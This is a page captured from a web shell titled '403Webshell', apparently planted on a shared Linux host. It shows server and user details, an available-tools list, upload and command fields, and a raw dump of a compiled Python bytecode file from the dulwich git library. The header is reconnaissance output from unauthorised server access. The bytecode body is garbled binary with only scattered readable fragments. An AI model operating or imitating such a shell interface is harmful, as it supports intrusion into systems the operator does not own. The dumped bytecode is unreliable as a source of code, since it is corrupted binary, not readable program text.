403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/dulwich/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/dulwich/__pycache__/object_store.cpython-313.pyc
�

mEdg���	�2�SrSSKrSSKrSSKrSSKrSSKrSSKJrJrJ	r	 SSK
Jr SSKJ
r
 SSKJrJrJrJr SSKJr SS	KJr SS
KJrJrJrJrJrJrJrJrJ r J!r!J"r"J#r#J$r$J%r% SSK&J'r'J(r(J)r)J*r*J+r+J,r,J-r-J.r.J/r/J0r0J1r1J2r2J3r3J4r4J5r5J6r6J7r7J8r8J9r9 SSK:J;r; SS
K<J=r=J>r> Sr?Sr@\R�S:waSOSrB"SS\5rC"SS5rD"SS\D5rE"SS\E5rF"SS\D5rG"SS\5rHSrIS \(S!\S"\J\S#S4S$jrKS%S&.S \(S#\L\J\M\J\M\J\M44S'jjrN"S(S)5rO"S*S+5rPS,rQ"S-S.\D5rRS/rS"S0S1\E5rT\U"5\U"5S24S3\(S4\U\S5\U\4S6jjrVS%S7.S3\(S8\\S9\W4S:jjrXS3\(S;\MS#\L\\44S<jrYg)=z/Git object store interfaces and implementation.�N)�Iterable�Iterator�Sequence)�suppress)�BytesIO)�Callable�Optional�Protocol�cast�)�NotTreeError)�GitFile)�S_ISGITLINK�ZERO_SHA�Blob�Commit�ObjectID�ShaFile�Tag�Tree�	TreeEntry�hex_to_filename�
hex_to_sha�object_class�
sha_to_hex�valid_hexsha)�PACK_SPOOL_FILE_MAX_SIZE�ObjectContainer�Pack�PackData�PackedObjectContainer�PackFileDisappeared�PackHint�PackIndexer�PackInflater�PackStreamCopier�UnpackedObject�extend_pack�full_unpacked_object�generate_unpacked_objects�	iter_sha1�load_pack_index_file�pack_objects_to_data�write_pack_data�write_pack_index)�DEPTH_INFINITE)�PEELED_TAG_SUFFIX�Ref�info�pack�win32i$i�c�B�\rSrSrS\\\/S4\/S444SjrSrg)�
PackContainer�\�returnNc��g)zAdd a new pack.N���selfs �6/usr/lib/python3/dist-packages/dulwich/object_store.py�add_pack�PackContainer.add_pack]���r;)	�__name__�
__module__�__qualname__�__firstlineno__�tuplerrr?�__static_attributes__r;rBr>r7r7\s,���%���"�d�(�);�X�b�$�h�=O� O�P�rBr7c�~�\rSrSrSrS#S\\\4S\\	S\
\4SjjrS\4Sjr
S	\S\4S
jr\S5rS\\	\44SjrS	\S\4S
jrSrS$SjrS#S$SjjrS%SjrS&SjrSS.S\\S\S\\4SjjrSSSS4SjrSrS'S\\	\\ 44Sjjr!Sr"SS4Sjr#S$Sjr$S \S\\4S!jr%S"r&g)(�BaseObjectStore�azObject store interface.N�refs�depthr9c��^^�UU4SjnUR5VVs/sHDupEUT;dU"U5(dMUR[5(aM6U[:XaMBUPMF snn$s snnf)Nc�R>�T(dgT[:XagTTRU5:�$)NFT)r0�
_get_depth)�sharMr=s ��r>�_want_deepen�9BaseObjectStore.determine_wants_all.<locals>._want_deepengs(�������&���4�?�?�3�/�/�/rB)�items�endswithr1r)r=rLrMrR�refrQs` `   r>�determine_wants_all�#BaseObjectStore.determine_wants_alldsg���	0�#�j�j�l�
�*�
���4��<��#4�
��L�L�!2�3�
��8�O�	
�*�
�	
��
s�A,�A,�A,�"A,c�,�[UR5e�z=Check if a particular object is present by SHA1 and is loose.)�NotImplementedError�contains_loose�r=rQs  r>r\�BaseObjectStore.contains_loosevs��!�$�"5�"5�6�6rB�sha1c�$�URU5$)�uCheck if a particular object is present by SHA1.

This method makes no distinction between loose and packed objects.
)r\)r=r_s  r>�__contains__�BaseObjectStore.__contains__zs��
�"�"�4�(�(rBc��[e)zIterable of pack objects.�r[r<s r>�packs�BaseObjectStore.packs�s
��"�!rBc�,�[UR5e�z|Obtain the raw text for an object.

Args:
  name: sha for the object.
Returns: tuple with numeric type and object contents.
)r[�get_raw�r=�names  r>rj�BaseObjectStore.get_raw�s��"�$�,�,�/�/rBc�R�URU5up#[R"X#US9$)zObtain an object by SHA1.)rQ)rjr�from_raw_string)r=r_�type_num�uncomps    r>�__getitem__�BaseObjectStore.__getitem__�s&���<�<��-����&�&�x�T�B�BrBc�,�[UR5e��5Iterate over the SHAs that are present in this store.)r[�__iter__r<s r>rw�BaseObjectStore.__iter__����!�$�-�-�0�0rBc�,�[UR5e)�)Add a single object to this object store.)r[�
add_object�r=�objs  r>r|�BaseObjectStore.add_object�s��!�$�/�/�2�2rBc�,�[UR5e)�kAdd a set of objects to this object store.

Args:
  objects: Iterable over a list of (object, path) tuples
)r[�add_objects�r=�objects�progresss   r>r��BaseObjectStore.add_objects�s��"�$�"2�"2�3�3rBFc
#�H# �SSKJn U"UUUUUUUS9H�nURRURR4URR
URR
4URRURR44v� M� g7f)a�Find the differences between the contents of two trees.

Args:
  source: SHA1 of the source tree
  target: SHA1 of the target tree
  want_unchanged: Whether unchanged files should be reported
  include_trees: Whether to include trees
  change_type_same: Whether to report files changing
    type in the same entry.
Returns: Iterator over tuples with
    (oldpath, newpath), (oldmode, newmode), (oldsha, newsha)
r)�tree_changes)�want_unchanged�
include_trees�change_type_same�rename_detectorN)�	diff_treer��old�path�new�moderQ)	r=�source�targetr�r�r�r�r��changes	         r>r��BaseObjectStore.tree_changes�s����*	,�"����)�'�-�+�
�F������&�*�*�/�/�2������&�*�*�/�/�2�����������0��
�
�s�B B"c�J�[R"S[SS9 [XUS9$)�Iterate the contents of a tree and all subtrees.

Iteration is depth-first pre-order, as in e.g. os.walk.

Args:
  tree_id: SHA1 of the tree.
  include_trees: If True, include tree objects in the iteration.
Returns: Iterator over TreeEntry namedtuples for all the objects in a
    tree.
z2Please use dulwich.object_store.iter_tree_contents���
stacklevel�r�)�warnings�warn�DeprecationWarning�iter_tree_contents)r=�tree_idr�s   r>r��"BaseObjectStore.iter_tree_contents�s(��	�
�
�@���	
�
"�$�}�M�MrB��
allow_missing�shasr�c#�^# �UH
nXv� M g![a U(deM$f=f7f�N)�KeyError)r=r�r�rQs    r>�iterobjects_subset�"BaseObjectStore.iterobjects_subset�s8����C�
��i�����
�$��%�
�s�-��-�*�-�*�-c��UR$r���parents��commits r>�<lambda>�BaseObjectStore.<lambda>����6�>�>rBc
�l�[R"S[5 [UUUUUUUS9n[	U5$)aFind the missing objects required for a set of revisions.

Args:
  haves: Iterable over SHAs already in common.
  wants: Iterable over SHAs of objects to fetch.
  shallow: Set of shallow commit SHA1s to skip
  progress: Simple progress function that will be called with
    updated progress strings.
  get_tagged: Function that returns a dict of pointed-to sha ->
    tag sha for including tags.
  get_parents: Optional function for getting the parents of a
    commit.
Returns: Iterator over (sha, path) pairs.
z%Please use MissingObjectFinder(store))�haves�wants�shallowr��
get_tagged�get_parents)r�r�r��MissingObjectFinder�iter)r=r�r�r�r�r�r��finders        r>�find_missing_objects�$BaseObjectStore.find_missing_objects�s?��.	�
�
�=�?Q�R�$������!�#�
���F�|�rBc��/n[U5nU(a;X0;a"URU5 URU5 [U5nU(aM;U$)z�Find which revisions this store has in common using graphwalker.

Args:
  graphwalker: A graphwalker object.
Returns: List of SHAs that are in common
)�next�append�ack)r=�graphwalkerr�rQs    r>�find_common_revisions�%BaseObjectStore.find_common_revisions	sK�����;�����{����S�!�����$��{�#�C�	�c�
�rBc��[XX#US9n[U5n[UVV	s/sHup�XU	4PM
 sn	nUUS9$s sn	nf)�8Generate pack data objects for a set of wants/haves.

Args:
  have: List of SHA1s of objects that should not be sent
  want: List of SHA1s of objects that should be sent
  shallow: Set of shallow commit SHA1s to skip
  ofs_delta: Whether OFS deltas can be included
  progress: Optional progress reporting method
�r�r�r�r�)�	ofs_deltar�)r��listr-)
r=�have�wantr�r�r��missing_objects�
object_ids�oidr�s
          r>�generate_pack_data�"BaseObjectStore.generate_pack_datasR��.��D�H�
���/�*�
�#�0:�;�
�9�3�d�i��
�
�;���
�	
��;s�;
c�R�[R"S[SS9 [X5S$)��Peel all tags from a SHA.

Args:
  sha: The object SHA to peel.
Returns: The fully-peeled SHA1 of a tag object, after peeling all
    intermediate tags; if the original ref does not point to a tag,
    this will equal the original SHA1.
z*Please use dulwich.object_store.peel_sha()r�r�r)r�r�r��peel_shar]s  r>r��BaseObjectStore.peel_sha1s+��	�
�
�8���	
�
��"�1�%�%rBc��UR$r�r�r�s r>r�r�Dr�rBc�F^^
�UT;agSnX4/nU(a�UbXC:a�URS5unm
[UT
5nTUn[U[5(aURup�TU	nURU
U4SjU"U555 U(aUcM{XC:aM�U$)aReturn the current available depth for the given head.
For commits with multiple parents, the largest possible depth will be
returned.

Args:
    head: commit to start from
    get_parents: optional function for getting the parents of a commit
    max_depth: maximum depth to search
rrc3�@># �UHoT;dM
UTS-4v� M g7f)rNr;)�.0�parentrMr=s  ��r>�	<genexpr>�-BaseObjectStore._get_depth.<locals>.<genexpr>[s&�����2B��PT�n�#�����#�2B�s�	�)�pop�max�
isinstancer�object�extend)r=�headr��	max_depth�
current_depth�queue�e�cmt�_clsrQrMs`         @r>rP�BaseObjectStore._get_depthAs�����t����
��&�'����*�m�.G��y�y��|�H�A�u��
�u�5�M��q�'�C��#�s�#�#��J�J�	���3�i���L�L��2=�c�2B��
���*�m�.G��rBc��g)z,Close any files opened by this object store.Nr;r<s r>�close�BaseObjectStore.close`rArB�prefixc#�V# �UHnURU5(dMUv� M! g7f)z�Iterate over all SHA1s that start with a given prefix.

The default implementation is a naive iteration over all objects.
However, subclasses may override this method with more efficient
implementations.
N)�
startswith)r=r�rQs   r>�iter_prefix�BaseObjectStore.iter_prefixds%����C��~�~�f�%�%��	��s�)�	)r;r��r9N)FFFN)F�NNT)'rCrDrErF�__doc__�dictr2rr	�intr�rW�boolr\�bytesrb�propertyrfrGrjrrrrwr|r�r�r�rrr�r�r�r'r�r�rPr�r�rHr;rBr>rJrJasX��!�AE�
���h��'�
�08��
�
�	
�h��
�$7�T�7�)��)�4�)��"��"�0�u�S�%�Z�0�0�C��C�W�C�
1�3�4�����$�LN�&?D���U�O��7;��	�'�	�����1�!�F�"BF�
�	�s�H�^�,�,�	-�
�0&�&2��	�>;�	�%�	�H�X�,>�	rBrJc��\rSrSrS.S/SjjrS\\\/S4\/S444SjrS0S\	S\
\SS4Sjjr\
S	5rS\4S
jrS\4SjrS/SjrS1S\\	\
\44SjjrS/SjrSrS\\4SjrS/Sjr\
S5rSrSrS\\4SjrS/Sjr S/Sjr!Sr"Sr#Sr$Sr%Sr&SSS
S.S \S!\S\
\4S"jjr'SS#.S$\(\)S \S\
\4S%jjr*SS&.S'\)S(\S\4S)jjr+S0S*\,\\\\-4S+\\\-/S4SS4S,jjr.S-r/g)2�PackBasedObjectStoreipr9Nc��0UlXlgr���_pack_cache�pack_compression_level)r=r�s  r>�__init__�PackBasedObjectStore.__init__qs��,.���&<�#rBc�,�[UR5e)z$Add a new pack to this object store.)r[r?r<s r>r?�PackBasedObjectStore.add_packuryrB�count�unpacked_objectsc��US:XagUR5upEn[URUUUURS9 U"5$![a	 U"5 ef=f)�wAdd pack data to this object store.

Args:
  count: Number of items to add
  pack_data: Iterator over pack data tuples
rN)�num_recordsr��compression_level)r?r.�writer��
BaseException)r=rrr��fr��aborts       r>�
add_pack_data�"PackBasedObjectStore.add_pack_dataysf���A�:���=�=�?���5�	����� �!�!�"&�"=�"=�
��8�O��	�	��G��	�s�!A�Ac��/$r�r;r<s r>�
alternates�PackBasedObjectStore.alternates�s���	rBc�\�URHnX;a gM
 g![a Mf=f)z`Check if a particular object is present by SHA1 and is packed.

This does not check alternates.
TF)rfr")r=rQr4s   r>�contains_packed�$PackBasedObjectStore.contains_packed�s=��
�J�J�D�
��;������'�
��
�s��
+�+c��URU5(dURU5(agURH
nX;dM
 g g)raTF)rr\r)r=rQ�	alternates   r>rb�!PackBasedObjectStore.__contains__�sD��
����$�$��(;�(;�C�(@�(@�����I����)�rBc��URRU5nX2La'X RU'U(aUR5 ggg)z/Add a newly appeared pack to the cache by path.N)r��getr�)r=�	base_namer4�	prev_packs    r>�_add_cached_pack�%PackBasedObjectStore._add_cached_pack�sC���$�$�(�(��3�	�� �*.���Y�'�����!��!rBTc	��[XX#US9nUR5n[U5n[U5[	[[U5UUUUS94$)r�r�)r�r��other_haves)r��get_remote_hasr��lenr*rr!)	r=r�r�r�r�r�r��
remote_hasr�s	         r>r��'PackBasedObjectStore.generate_pack_data�s_��.��D�H�
��%�3�3�5�
��/�*�
��:�� 9��&��-����"�!
�
�	
rBc��URn0UlU(a,UR5up#UR5 U(aM+ggr�)r��popitemr�)r=�
pack_cacherlr4s    r>�_clear_cached_packs�(PackBasedObjectStore._clear_cached_packs�s8���%�%�
�����%�-�-�/�L�T��J�J�L��jrBc�6�URR5$r�)r��valuesr<s r>�_iter_cached_packs�'PackBasedObjectStore._iter_cached_packs�s�����&�&�(�(rBc�,�[UR5er�)r[�_update_pack_cacher<s r>r-�'PackBasedObjectStore._update_pack_cache�s��!�$�"9�"9�:�:rBc�$�UR5 gr�)r&r<s r>r��PackBasedObjectStore.close�s��� � �"rBc�h�[UR55[UR55-$�zList with pack objects.)r�r*r-r<s r>rf�PackBasedObjectStore.packs�s+���D�+�+�-�.��d�6M�6M�6O�1P�P�PrBc#�J# �URH
nUShv�N M gN	7f)z=Iterate over the SHAs of all the objects in alternate stores.N)r)r=rs  r>�_iter_alternate_objects�,PackBasedObjectStore._iter_alternate_objects�s������I� � � �)� �s�#�!�
#c�,�[UR5e�z+Iterate over the SHAs of all loose objects.)r[�_iter_loose_objectsr<s r>r9�(PackBasedObjectStore._iter_loose_objects�s��!�$�":�":�;�;rBc�,�[UR5er�)r[�_get_loose_objectr]s  r>r<�&PackBasedObjectStore._get_loose_object�s��!�$�"8�"8�9�9rBc�,�[UR5er�)r[�_remove_loose_objectr]s  r>r?�)PackBasedObjectStore._remove_loose_object�s��!�$�";�";�<�<rBc�,�[UR5er��r[�_remove_packrks  r>rC�!PackBasedObjectStore._remove_pack����!�$�"3�"3�4�4rBc��[5nUR5H%nURURU5S45 M' UR	[U55 UH up4UR
UR5 M" [U5$)z7Pack loose objects.

Returns: Number of objects packed
N)	�setr9�addr<r�r�r?�idr )r=r�rQr~r�s     r>�pack_loose_objects�'PackBasedObjectStore.pack_loose_objects�st��
�%���+�+�-�C��K�K��/�/��4�d�;�<�.�����g��'� �I�C��%�%�c�f�f�-�!��7�|�rBc���[5nUR5H#nURURU55 M% UVs1sHo3S4iM nnURVs0sHoUR5U_M nnUR
5H+upxURSUR555 M- URU5n	URU	R5S5 UHnURUR5 M  UR
5HupxURU5 M UR5 [U5$s snfs snf)z�Repack the packs in this repository.

Note that this implementation is fairly naive and currently keeps all
objects in memory while it repacks.
Nc3�(# �UHoS4v� M
 g7fr�r;)r�r~s  r>r��.PackBasedObjectStore.repack.<locals>.<genexpr>s���E�2D�3��;�2D�s�)rGr9rHr<rfrlrT�update�iterobjectsr�r�r?rIrCr-r )
r=�
loose_objectsrQr~r��p�	old_packsrlr4�consolidateds
          r>�repack�PackBasedObjectStore.repacks����
��+�+�-�C����d�4�4�S�9�:�.�*7�8�-�3��;�-��8�*.�*�*�5�*�Q�V�V�X�q�[�*�	�5�#�/�/�+�J�D��N�N�E�$�2B�2B�2D�E�E�,��'�'��0���
�
�l�'�'�)�4�0� �C��%�%�c�f�f�-�!�#�/�/�+�J�D����d�#�,����!��7�|���#9��5s�
E�#Ec#�# �UR5 UR5HnUShv�N M UR5Shv�N UR	5Shv�N gN9![a MRf=fN0N7f)rvN)r-r*r"r9r5�r=r4s  r>rw�PackBasedObjectStore.__iter__"ss������!��+�+�-�D�
����.�
�+�+�-�-�-��/�/�1�1�1�	 ��&�
��
��-�1�sU�$A=�A(�A&�A(�A=�A9�	A=� A;�!A=�&A(�(
A6�2A=�5A6�6A=�;A=c�(�URU5SL$)z_Check if a particular object is present by SHA1 and is loose.

This does not check alternates.
N)r<r]s  r>r\�#PackBasedObjectStore.contains_loose-s��
�%�%�c�*�$�6�6rBc��U[:Xa[U5e[U5S:Xa[U5nUnO#[U5S:XaUnSnO[	SU<35eUR5HnUR
U5s $ Uc[U5nURU5nUbURUR54$UR5HnUR
U5s $ URHnUR
U5s $ [U5e![[4a M�f=f![a Mmf=f![a MYf=f)z�Obtain the raw fulltext for an object.

Args:
  name: sha for the object.
Returns: tuple with numeric type and object contents.
�(�NzInvalid object name )rr�r r�AssertionErrorr*rjr"rr<rp�
as_raw_stringr-r)r=rlrQ�hexshar4�retrs       r>rj�PackBasedObjectStore.get_raw4sY���8���4�.� ��t�9��?��T�"�C��F�
��Y�"�_��C��F� �#7��x�!@�A�A��+�+�-�D�
��|�|�C�(�(�.�
�>���%�F��$�$�V�,���?��<�<��!2�!2�!4�4�4��+�+�-�D�
��|�|�C�(�(�.�
���I�
� �(�(��0�0�)�
�v����'�1�2�
��
���
��
��
�
��
�s6�*D�D-�6D>�D*�)D*�-
D;�:D;�>
E�EF��include_compr��convert_ofs_deltar�rfc#�N# �[U5nUR5HJnURUUSUS9H1nUv� [UR	55nURU5 M3 ML UR
5HJnURUUSUS9H1nUv� [UR	55nURU5 M3 ML URHJn	U	RUUSUS9H1nUv� [UR	55nURU5 M3 ML g7f�NTrd)rGr*�iter_unpacked_subsetrrQ�remover-r)
r=r�rer�rf�todorR�unpackedrars
          r>ri�)PackBasedObjectStore.iter_unpacked_subset]s#����t�9���(�(�*�A��2�2��)�"�"3�	3�����#�H�L�L�N�3�����F�#��+��(�(�*�A��2�2��)�"�"3�	3�����#�H�L�L�N�3�����F�#��+����I�%�:�:��)�"�"3�	;�����#�H�L�L�N�3�����F�#��)�s�D#D%r�r�c#�R# �[U5nUR5H9nURUSS9H"nUv� URUR5 M$ M; UR5H9nURUSS9H"nUv� URUR5 M$ M; URH9nURUSS9H"nUv� URUR5 M$ M; UH/nURU5nUbUv� MU(aM&[U5e g7f�NTr�)	rGr*r�rjrIr-rr<r�)r=r�r�rkrR�orr�s        r>r��'PackBasedObjectStore.iterobjects_subset�s
����t�9���(�(�*�A��)�)�$�d�)�C�������A�D�D�!�D�+��(�(�*�A��)�)�$�d�)�C�������A�D�D�!�D�+����I��1�1�$�d�1�K�������A�D�D�!�L�)��C��&�&�s�+�A��}���"�]��s�m�#��s�DD'�D'�rer_rec�2�U[:Xa[U5e[U5S:Xa[U5nUnO#[U5S:XaUnSnO[	SU<35eUR5HnUR
X2S9s $ Uc[U5nUR5HnUR
X2S9s $ URHnUR
XBS9s $ [U5e![[4a M�f=f![a Mif=f![a MWf=f)z?Obtain the unpacked object.

Args:
  sha1: sha for the object.
r]r^NzInvalid object sha1 rr)rr�r rr_r*�get_unpacked_objectr"rr-r)r=r_rerQrar4rs       r>rt�(PackBasedObjectStore.get_unpacked_object�s9���8���4�.� ��t�9��?��T�"�C��F�
��Y�"�_��C��F� �#7��x�!@�A�A��+�+�-�D�
��/�/��/�O�O�.�
�>���%�F��+�+�-�D�
��/�/��/�O�O�.�
���I�
� �4�4�V�4�W�W�)�
�v����!�1�2�
��
���
��
��
�
��
�s6�*C �C7�D� C4�3C4�7
D�D�
D�Dr�r�c�J�[U5nSU5nURX4US9$)z�Add a set of objects to this object store.

Args:
  objects: Iterable over (object, path) tuples, should support
    __len__.
Returns: Pack object of the objects written.
c3�<# �UHup[U5v� M g7fr�)r))r�rprRs   r>r��3PackBasedObjectStore.add_objects.<locals>.<genexpr>�s���E�W�6�A�+�A�.�.�W�s��r�)r r)r=r�r�r�record_iters     r>r�� PackBasedObjectStore.add_objects�s-���G���E�W�E���!�!�%�x�!�H�HrBr�)���r�r�r�)0rCrDrErFr�rGrrr?r�rr'rr�rr�rrbrr�r&r*r�rr-r�rfr5r9r	rr<r?rCrJrUrwr\rjrirr�r�rtr�strr�rHr;rBr>r�r�ps���=�1�%���"�d�(�);�X�b�$�h�=O� O�P�1�
PT����,4�^�,D��	
��6�����d��
�4�
�"�BF�
�	�s�H�^�,�,�	-�
�2�)�;�D��J�;�#��Q��Q�!�
<�:���(9�:�=�5���8	2�7�'�Z�#�"&�
($�
�($� �
($�
�'�	�($�V?D�$��U�O�$�7;�$�	�'�	�$�449�%��%�,0�%�	�%�T59�I��%���#�� 6�7�8�I��8�S�E�4�K�0�1�I�
�	I�IrBr�c��^�\rSrSrSrSSU4SjjjrS\4Sjr\S5r	\
S5rSrSS	jr
S
rSrSrS
rSSjrSSjrSrSSjrSSjrSrSSjr\S5rU4SjrSrU=r$)�DiskObjectStorei�z+Git-style object store that exists on disk.r9c�>�[TU]US9 Xl[RR	UR[
5UlSUlX lX0l	g)z�Open an object store.

Args:
  path: Path of the object store.
  loose_compression_level: zlib compression level for loose objects
  pack_compression_level: zlib compression level for pack objects
)r�N)
�superr�r��os�join�PACKDIR�pack_dir�_alternates�loose_compression_levelr�)r=r�r�r��	__class__s    �r>r��DiskObjectStore.__init__�sI���	���0F��G��	������T�Y�Y��8��
����'>�$�&<�#rBc�R�SURRSUR<S3$)N�<�(z)>)r�rCr�r<s r>�__repr__�DiskObjectStore.__repr__�s&���4�>�>�*�*�+�1�T�Y�Y�M��<�<rBc�|�[URSS5R55n[URSS5R55n[URSS5R55nU"XU5$![a SnNkf=f![a UnNSf=f![a UnN;f=f)N)scorescompressionr|slooseCompression�packCompression)r�r�decoder�)�clsr��config�default_compression_levelr�r�s      r>�from_config�DiskObjectStore.from_config�s���	+�(+��
�
�:�~�6�=�=�?�)�%�
	@�&)��
�
�:�':�;�B�B�D�'�#�
	?�%(��
�
�:�'8�9�@�@�B�&�"�
�4�2H�I�I���	+�(*�%�	+���	@�&?�#�	@���	?�%>�"�	?�s4�)B�)B�)B,�B�B�B)�(B)�,B;�:B;c���URbUR$/UlUR5H'nURR[U55 M) UR$r�)r��_read_alternate_pathsr�r)r=r�s  r>r�DiskObjectStore.alternatessZ�����'��#�#�#�����.�.�0�D����#�#�O�D�$9�:�1����rBc	#�|# �[[RRUR[S5S5nU UR
5H�nURS5nURS5(aM,[RRU5(a[R"U5v� Mj[R"[RR[R"UR5U55v� M� SSS5 g![
a gf=f!,(df   g=f7f)Nr�rb�
�#)rr�r�r��INFODIR�FileNotFoundError�	readlines�rstripr��isabs�fsdecode�fsencode)r=r
�lines   r>r��%DiskObjectStore._read_alternate_pathss����	�������T�Y�Y���F��M�A�����
���{�{�5�)���?�?�4�(�(���7�7�=�=��&�&��+�+�d�+�+��+�+�b�g�g�l�l�2�;�;�t�y�y�3I�4�&P�Q�Q�&��Q��!�	��	��
�Q�s?�D<�9D�D<�CD+�	D<�
D(�%D<�'D(�(D<�+
D9�5D<c�:�[R"[RRUR[55 [RRUR[S5n[
US5n[US5nU URUR55 SSS5 UR[R"U5S-5 SSS5 [RRU5(d*[RRURU5nURR[U55 g![
a GN#f=f!,(df   N�=f![a N�f=f!,(df   N�=f)z+Add an alternate path to this object store.r�wbr�Nr�)r��mkdirr�r�r��FileExistsErrorr�openr�readr�r�r�rr�r)r=r��alternates_pathr
�orig_fs     r>�add_alternate_path�"DiskObjectStore.add_alternate_paths��	��H�H�R�W�W�\�\�$�)�)�W�5�6��'�'�,�,�t�y�y�'�<�H��
�_�d�
+�q�
+��o�t�4����G�G�F�K�K�M�*��
�G�G�B�K�K��%��-�.�,��w�w�}�}�T�"�"��7�7�<�<��	�	�4�0�D�������t�4�5���	��	���V��%�
��
��,�
+�sZ�AE�?F�E<�
F� E+�/0F�
E(�'E(�+
E9	�5F�<
F	�F�F	�	F�
Fc��[R"UR5n[5nUHnUR
S5(dMURS5(dM3[RRU5SS-nXA;dM_US[S5*nURU5 M� /nUHfnXpR;dM[RURU55nURU5 X�RU'Mh [UR5U-
H,nURR!U5R	5 M. U$![a UR	5 /s$f=f)z4Read and iterate over new pack files and cache them.�pack-�.packr�.idxN)r��listdirr�r�r�rGr�rUr��splitextr rHr�rr�r�r�)	r=�pack_dir_contents�
pack_filesrl�idx_name�	pack_name�	new_packsr
r4s	         r>r-�"DiskObjectStore._update_pack_cache2sB��	� "�
�
�4�=�=� 9���U�
�%�D����w�'�'�D�M�M�'�,B�,B��7�7�+�+�D�1�!�4�v�=���0� $�_��G��}� 5�I��N�N�9�-�&��	��A��(�(�(��B�G�G�L�L�����:�;��� � ��&�&*� � ��#�	��T�%�%�&��3�A���� � ��#�)�)�+�4����/!�	��J�J�L��I�	�s� E)�)F�Fc�.�[URU5$r�)rr�r]s  r>�_get_shafile_path�!DiskObjectStore._get_shafile_pathOs���t�y�y�#�.�.rBc#�b# �[R"UR5H�n[U5S:waM[R"[RR	URU55H1n[R
"X-5n[
U5(dM-Uv� M3 M� g7f)Nr�)r�r�r�r r�r�r)r=�base�restrQs    r>r9�#DiskObjectStore._iter_loose_objectsSst����J�J�t�y�y�)�D��4�y�A�~���
�
�2�7�7�<�<��	�	�4�#@�A���k�k�$�+�.��#�C�(�(���	�	B�*�s�B-B/c�r�URU5n[R"U5$![a gf=fr�)r�r�	from_pathr�)r=rQr�s   r>r<�!DiskObjectStore._get_loose_object]s:���%�%�c�*��	��$�$�T�*�*�� �	��	�s�)�
6�6c�N�[R"URU55 gr�)r�rjr�r]s  r>r?�$DiskObjectStore._remove_loose_objectds��
�	�	�$�(�(��-�.rBc�V�UR[RRUR5	UR
5 [R"URR5 [R"URR5 g![
a Nqf=fr�)
r�r�r��basename�	_basenamer�r�rj�data�indexrXs  r>rC�DiskObjectStore._remove_packgso��	�� � ����!1�!1�$�.�.�!A�B�	
�
�
��
�	�	�$�)�)�.�.�!�
�	�	�$�*�*�/�/�"��	�	��	�s�4B�
B(�'B(c��[SU55nURS5n[RR	UR
SU-5$)Nc3�*# �UH	oSv� M g7f�rNr;�r��entrys  r>r��5DiskObjectStore._get_pack_basepath.<locals>.<genexpr>qs���9����8�����asciir�)r+r�r�r�r�r�)r=�entries�suffixs   r>�_get_pack_basepath�"DiskObjectStore._get_pack_basepathps>���9��9�9�����w�'���w�w�|�|�D�M�M�7�V�+;�<�<rBc��/n[U5H7upxUbU"SUSUS3RS55 URU5 M9 [UUR	5UR
URUS9up�UR5 UR5n[R"U5 UR5 URU
5 UR5 URU5nUR Hn
U
R"U:XdMU
s $ US-nUS-n[$R&S	:Xa.[)[*5 [R,"U5 SSS5 [R."X.5 [1US
[2S9n[5UXi5 SSS5 [7U5nUR95 UR;UU5 U$![a GN+f=f!,(df   N�=f!,(df   N_=f)aMove a specific file containing a pack into the pack directory.

Note: The file should be on the same file system as the
    packs directory.

Args:
  f: Open file object for the pack.
  path: Path to the pack file.
  indexer: A PackIndexer for indexing the pack.
Nzgenerating index: �/�
r�)rjrr�r�r�r5r���mask)�	enumerate�encoder�r(�ext_refsrjr��flush�filenor��fsync�AttributeErrorr�r��sortr�rfr��sys�platformrr�rj�renamer�	PACK_MODEr/r�check_length_and_checksumr)r=r
r��num_objects�indexerr�r��ir��pack_sha�
extra_entriesr��pack_base_namer4�target_pack_path�target_index_path�
index_file�
final_packs                  r>�_complete_pack�DiskObjectStore._complete_packvs�����!�'�*�H�A��#��-�a�S��+��b�A�H�H��Q�R��N�N�5�!�+�
#.�
������L�L�"�9�9��#
���	
���	�	��X�X�Z�F�
�H�H�V��	���	����}�%�	�����0�0��9���J�J�D��~�~��/����*�G�3��*�V�3���<�<�7�"��+�,��	�	�*�+�-�
�	�	�$�)��&��9�
=���Z��;�>��.�)�
��,�,�.����n�j�9����C�	��	��*-�,��
>�
=�s*�G�G �
G1�
G�G� 
G.�1
G?c	�h�SSKnURURSS9upV[R"US5n[R
"U[5 [XpRS9n[XXxS9n	U	RUS9 URXv[U	5X�S9sSSS5 $!,(df   g=f)	aAdd a new thin pack to this object store.

Thin packs are packs that contain deltas with parents that exist
outside the pack. They should never be placed in the object store
directly, and always indexed and completed as they are copied.

Args:
  read_all: Read function that blocks until the number of
    requested bytes are read.
  read_some: Read function that returns at least one byte, but may
    not return the number of bytes requested.
Returns: A Pack object pointing at the now-completed thin pack in the
    objects/pack directory.
rN�	tmp_pack_)�dirr��w+b��resolve_ext_ref)�
delta_iterry)
�tempfile�mkstempr�r��fdopen�chmodr�r$rjr&�verifyr�r )
r=�read_all�	read_somer�r�fdr�r
r��copiers
          r>�
add_thin_pack�DiskObjectStore.add_thin_pack�s���	��#�#��	�	�+�#�F���
�Y�Y�r�5�
!�Q��H�H�T�9�%�!�!�\�\�B�G�%�h�1�Q�F��M�M�8�M�,��&�&�q��F��W�&�X�"�
!�
!�s�A!B#�#
B1c��^^^�SSKnURTRSS9unm[R"US5m[R
"T[5 UUU4SjnSUU4SjjnTX44$)	��Add a new pack to this object store.

Returns: Fileobject to write to, a commit function to
    call when the pack is finished and an abort
    function.
rNr�)r�r�r�c�b>�TR5S:�acTRS5 [TT5n[R"UTR
S9nTR
TT[U5U5sSSS5 $TR5 [R"T5 g!,(df   g=f)Nrr�)�tell�seekr r$�
for_pack_datarjr�r r�r�rj)�pdr�r
r�r=s  ���r>r��(DiskObjectStore.add_pack.<locals>.commit�s�����v�v�x�!�|����q�	��d�A�&�"�)�7�7��D�L�L��G� �.�.�q�$��B���I�	'�&����	��	�	�$���'�&�s�<B � 
B.c�R>�TR5 [R"T5 gr�)r�r�rj)r
r�s��r>r�'DiskObjectStore.add_pack.<locals>.abort�s���
�G�G�I��I�I�d�OrBr�)rrr�r�rrr�)r=rrr�rr
r�s`    @@r>r?�DiskObjectStore.add_pack�s_���	��#�#��
�
